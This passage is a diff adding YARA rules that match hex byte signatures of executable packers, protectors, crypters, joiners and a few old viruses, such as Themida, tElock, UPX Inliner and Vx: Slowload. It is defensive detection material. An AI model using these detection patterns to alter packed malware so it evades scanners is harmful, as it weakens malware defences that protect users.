+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 01 00 00 00 90 5D 81 ED 00 00 00 00 BB 00 00 00 00 03 DD 2B 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10D__vcasm_
+{
+	meta:
+		description = "VProtector V1.0D -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 CA 31 41 00 68 06 32 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_11X__vcasm_
+{
+	meta:
+		description = "VProtector 1.1X -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1300__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.0.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 29 00 00 00}
+		$1 = {EB 04 ?? ?? ?? ?? E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ACProtectUltraProtect_10X20X__RiSco_
+{
+	meta:
+		description = "ACProtect/UltraProtect 1.0X-2.0X -> RiSco"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+	condition:
+		$0
+}
+rule _EXE_Stealth_v11_
+{
+	meta:
+		description = "EXE Stealth v1.1"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED FB 1D 40 00 B9 7B 09 00 00 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _iLUCRYPT_v4018_exe_
+{
+	meta:
+		description = "iLUCRYPT v4.018 [exe]"
+	strings:
+		$0 = {8B EC FA C7 ?? ?? ?? ?? 4C 4C C3 FB BF ?? ?? B8 ?? ?? 2E ?? ?? D1 C8 4F 81}
+	condition:
+		$0 at entrypoint
+}
+rule _hmimysPacker_10__hmimys_
+{
+	meta:
+		description = "hmimys-Packer 1.0 -> hmimys"
+	strings:
+		$0 = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07}
+	condition:
+		$0
+}
+rule _AntiDote_12_Beta_Demo__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.2 Beta (Demo) -> SIS-Team"
+	strings:
+		$0 = {68 69 D6 00 00 E8 C6 FD FF FF 68 69 D6 00 00 E8 BC FD FF FF 83 C4 08 E8 A4 FF FF FF 84 C0 74 2F 68 04 01 00 00 68 B0 21 60 00 6A 00 FF 15 08 10 60 00 E8 29 FF FF FF 50 68 88 10 60 00 68 78 10 60 00 68 B0 21 60 00 E8 A4 FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 90 90 90 90 90 90 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Anskya_NTPacker_Generator__Anskya_
+{
+	meta:
+		description = "Anskya NTPacker Generator -> Anskya"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 B8 88 1D 00 10 E8 C7 FA FF FF 6A 0A 68 20 1E 00 10 A1 14 31 00 10 50 E8 71 FB FF FF 8B D8 85 DB 74 2F 53 A1 14 31 00 10 50 E8 97 FB FF FF 85 C0 74 1F 53 A1 14 31 00 10 50 E8 5F FB FF FF 85 C0 74 0F 50 E8 5D FB FF FF 85 C0 74 05 E8 70 FC FF FF 5B E8 F2 F6 FF FF 00 00 48 45 41 52 54}
+	condition:
+		$0
+}
+rule _TPACK_v05c_m2_
+{
+	meta:
+		description = "T-PACK v0.5c -m2"
+	strings:
+		$0 = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 CE FD}
+	condition:
+		$0 at entrypoint
+}
+rule _RAZOR_1911_encruptor_
+{
+	meta:
+		description = "RAZOR 1911 encruptor"
+	strings:
+		$0 = {E8 ?? ?? BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b5_
+{
+	meta:
+		description = "PECompact v1.10b5"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 49}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V22007411__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2007.4.11 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_v106_
+{
+	meta:
+		description = "PE Lock v1.06"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 4B 45}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10A__vcasm_
+{
+	meta:
+		description = "VProtector V1.0A -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 8A 8E 40 00 68 C6 8E 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Microsoft_Visual_Cpp_70_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Microsoft Visual C++ 7.0 DLL] --> Anorganix"
+	strings:
+		$0 = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _Unpacked_BSSFX_Archive_v19_
+{
+	meta:
+		description = "Unpacked BS-SFX Archive v1.9"
+	strings:
+		$0 = {1E 33 C0 50 B8 ?? ?? 8E D8 FA 8E D0 BC ?? ?? FB B8 ?? ?? CD 21 3C 03 73}
+	condition:
+		$0 at entrypoint
+}
+rule _UPolyX_v05_
+{
+	meta:
+		description = "UPolyX v0.5"
+	strings:
+		$0 = {55 8B EC ?? 00 BD 46 00 8B ?? B9 ?? 00 00 00 80 ?? ?? 51 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {83 EC 04 89 14 24 59 BA ?? 00 00 00 52 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$2 = {BB 00 BD 46 00 83 EC 04 89 1C 24 ?? B9 ?? 00 00 00 80 33 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$3 = {E8 00 00 00 00 59 83 C1 07 51 C3 C3 ?? 00 BD 46 00 83 EC 04 89 ?? 24 B9 ?? 00 00 00 81 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$4 = {E8 00 00 00 00 59 83 C1 07 51 C3 C3 ?? 00 BD 46 00 ?? B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$5 = {EB 01 C3 ?? 00 BD 46 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 or $1 or $2 or $3 or $4 or $5
+}
+rule _tElock_v090_
+{
+	meta:
+		description = "tElock v0.90"
+	strings:
+		$0 = {E8 02 00 00 00 E8 00 E8 00 00 00 00 5E 2B}
+	condition:
+		$0 at entrypoint
+}
+rule _Yodas_Protector_v1032_Beta2__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "Yoda's Protector v1.03.2 Beta2 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_V2X_Bitsum_Technologies_
+{
+	meta:
+		description = "PECompact V2.X-> Bitsum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_v100__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.00 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 21 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_V10__Brandon_LaCombe_
+{
+	meta:
+		description = "Packman V1.0 -> Brandon LaCombe"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA}
+	condition:
+		$0 at entrypoint
+}
+rule _Minke_101__by_Codius_
+{
+	meta:
+		description = "Minke 1.0.1 - by Codius"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 ?? ?? ?? ?? ?? 10 E8 7A F6 FF FF BE 68 66 00 10 33 C0 55 68 DB 40 00 10 64 FF 30 64 89 20 E8 FA F8 FF FF BA EC 40 00 10 8B C6 E8 F2 FA FF FF 8B D8 B8 6C 66 00 10 8B 16 E8 88 F2 FF FF B8 6C 66 00 10 E8 76 F2 FF FF 8B D0 8B C3 8B 0E E8 E3 E4 FF FF E8 2A F9 FF FF E8 C1 F8 FF FF B8 6C 66 00 10 8B 16 E8 6D FA FF FF E8 14 F9 FF FF E8 AB F8 FF FF 8B 06 E8 B8 E3 FF FF 8B D8 B8 6C 66 00 10 E8 38 F2 FF FF 8B D3 8B 0E E8 A7 E4 FF ?? ?? ?? ?? C4 FB FF FF E8 E7 F8 FF FF 8B C3 E8 B0 E3 FF FF E8 DB F8 FF FF 33 C0 5A 59 59 64 89 10 68 E2 40 00 10 C3 E9 50 EB FF FF EB F8 5E 5B E8 BB EF FF FF 00 00 00 43 41 31 38}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_V10__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.0 -> CGSoftLabs"
+	strings:
+		$0 = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_DEF_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [DEF 1.0] --> Anorganix"
+	strings:
+		$0 = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_24x__25x__Jitit_Software_
+{
+	meta:
+		description = "Thinstall 2.4x - 2.5x -> Jitit Software"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? BD ?? ?? ?? ?? 03 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v113_
+{
+	meta:
+		description = "Stone's PE Encryptor v1.13"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 97 3B 40 ?? 2B 95 2D 3C 40 ?? 83 EA 0B 89 95 36 3C 40 ?? 01 95 24 3C 40 ?? 01 95 28}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v038_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.38 beta -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+		$1 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 38 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 33 D2 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 97 FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F1 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 51 59 46 AD 85 C0 74 1F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Themida_1201__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.2.0.1 -> Oreans Technologies"
+	strings:
+		$0 = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25}
+	condition:
+		$0
+}
+rule _AHTeam_EP_Protector_03_fake_VIRUSIWorm_Hybris__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake VIRUS/I-Worm Hybris) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 EB 16 A8 54 00 00 47 41 42 4C 4B 43 47 43 00 00 00 00 00 00 52 49 53 00 FC 68 4C 70 40 00 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_099__10_private__tE_
+{
+	meta:
+		description = "tElock 0.99 - 1.0 private -> tE!"
+	strings:
+		$0 = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EEXE_Version_112_
+{
+	meta:
+		description = "EEXE Version 1.12"
+	strings:
+		$0 = {B4 30 CD 21 3C 03 73 ?? BA 1F 00 0E 1F B4 09 CD 21 B8 FF 4C CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_Joiner_sign_from_pinch_26032007_0212_
+{
+	meta:
+		description = "Unknown Joiner (sign from pinch 26.03.2007 02:12)"
+	strings:
+		$0 = {44 90 4C 90 B9 DE 00 00 00 BA 00 10 40 00 83 C2 03 44 90 4C B9 07 00 00 00 44 90 4C 33 C9 C7 05 08 30 40 00 00 00 00 00 90 68 00 01 00 00 68 21 30 40 00 6A 00 E8 C5 02 00 00 90 6A 00 68 80}
+	condition:
+		$0 at entrypoint
+}
+rule _RatPacker_Glue_stub_
+{
+	meta:
+		description = "RatPacker (Glue) stub"
+	strings:
+		$0 = {40 20 FF 00 00 00 00 00 00 00 ?? BE 00 60 40 00 8D BE 00 B0 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKProtector_v111_
+{
+	meta:
+		description = "SVK-Protector v1.11"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 06 ?? ?? ?? 64 A0 23}
+	condition:
+		$0 at entrypoint
+}
+rule _FACRYPT_v10_
+{
+	meta:
+		description = "FACRYPT v1.0"
+	strings:
+		$0 = {B9 ?? ?? B3 ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 49 43 32 E4 03 D0 E3}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v13b__Vaska_
+{
+	meta:
+		description = "RCryptor v1.3b --> Vaska"
+	strings:
+		$0 = {61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7}
+		$1 = {61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXPressor_120_Beta_PE_Packer_
+{
+	meta:
+		description = "eXPressor 1.2.0 Beta PE Packer"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 EB ?? 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V125__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.25 -> Obsidium Software"
+	strings:
+		$0 = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_2545__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.545 -> Jitit"
+	strings:
+		$0 = {E8 F2 FF FF FF 50 68 ?? ?? ?? ?? 68 40 1B 00 00 E8 42 FF FF FF E9 9D FF FF FF 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule __Protector_v1111_DDeMPE_Engine_v09_DDeMCI_v092_
+{
+	meta:
+		description = "*** Protector v1.1.11 (DDeM->PE Engine v0.9, DDeM->CI v0.9.2)"
+	strings:
+		$0 = {53 51 56 E8 00 00 00 00 5B 81 EB 08 10 00 00 8D B3 34 10 00 00 B9 F3 03 00 00 BA 63 17 2A EE 31 16 83 C6 04}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_KBDflags1024_
+{
+	meta:
+		description = "Vx: KBDflags.1024"
+	strings:
+		$0 = {8B EC 2E 89 2E 24 03 BC 00 04 8C D5 2E 89 2E 22}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V115V117_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.15-V1.17 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 83 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB 14}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Slowload_
+{
+	meta:
+		description = "Vx: Slowload"
+	strings:
+		$0 = {03 D6 B4 40 CD 21 B8 02 42 33 D2 33 C9 CD 21 8B D6 B9 78 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_022__023_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.22 - 0.23 beta -> Dwing"
+	strings:
+		$0 = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54}
+		$1 = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 59 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+		$2 = {AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 ?? 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+	condition:
+		$0 or $1 at entrypoint or $2 at entrypoint
+}
+rule _Vx_Eddiebased1745_
+{
+	meta:
+		description = "Vx: Eddie.based.1745"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA ?? 8B E6 81 ?? ?? ?? FB ?? 3B ?? ?? ?? ?? ?? 50 06 ?? 56 1E 8B FE 33 C0 ?? 50 8E D8}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Inliner_v10_by_GPcH_
+{
+	meta:
+		description = "UPX Inliner v1.0 by GPcH"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01}
+	condition:
+		$0
+}
+rule _FreeJoiner_153_Stub_engine_171__GlOFF_
+{
+	meta:
+		description = "FreeJoiner 1.5.3 (Stub engine 1.7.1) -> GlOFF"
+	strings:
+		$0 = {E8 02 FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A8 10 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESHiELD_v0251_
+{
+	meta:
+		description = "PESHiELD v0.251"
+	strings:
+		$0 = {5D 83 ED 06 EB 02 EA 04 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_2547V2600__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.547-V2.600 -> Jitit"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB BC 18 00 00 2B C3 50 68 ?? ?? ?? ?? 68 60 1B 00 00 68 60 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _yC_v13_by_Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yC v1.3 by Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 81 EC C0 00 00 00 53 56 57 8D BD 40 FF FF FF B9 30 00 00 00 B8 CC CC CC CC F3 AB 60 E8 00 00 00 00 5D 81 ED 84 52 41 00 B9 75 5E 41 00 81 E9 DE 52 41 00 8B D5 81 C2 DE 52 41 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+	condition:
+		$0
+}
+rule _DIET_v102b_v110a_v120_
+{
+	meta:
+		description = "DIET v1.02b, v1.10a, v1.20"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? B9 ?? ?? 3B FC 72 ?? B4 4C CD 21 FD F3 A5 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V36__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.6 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 83 38 01 0F 84 47 02 00 00}
+	condition:
+		$0 at entrypoint
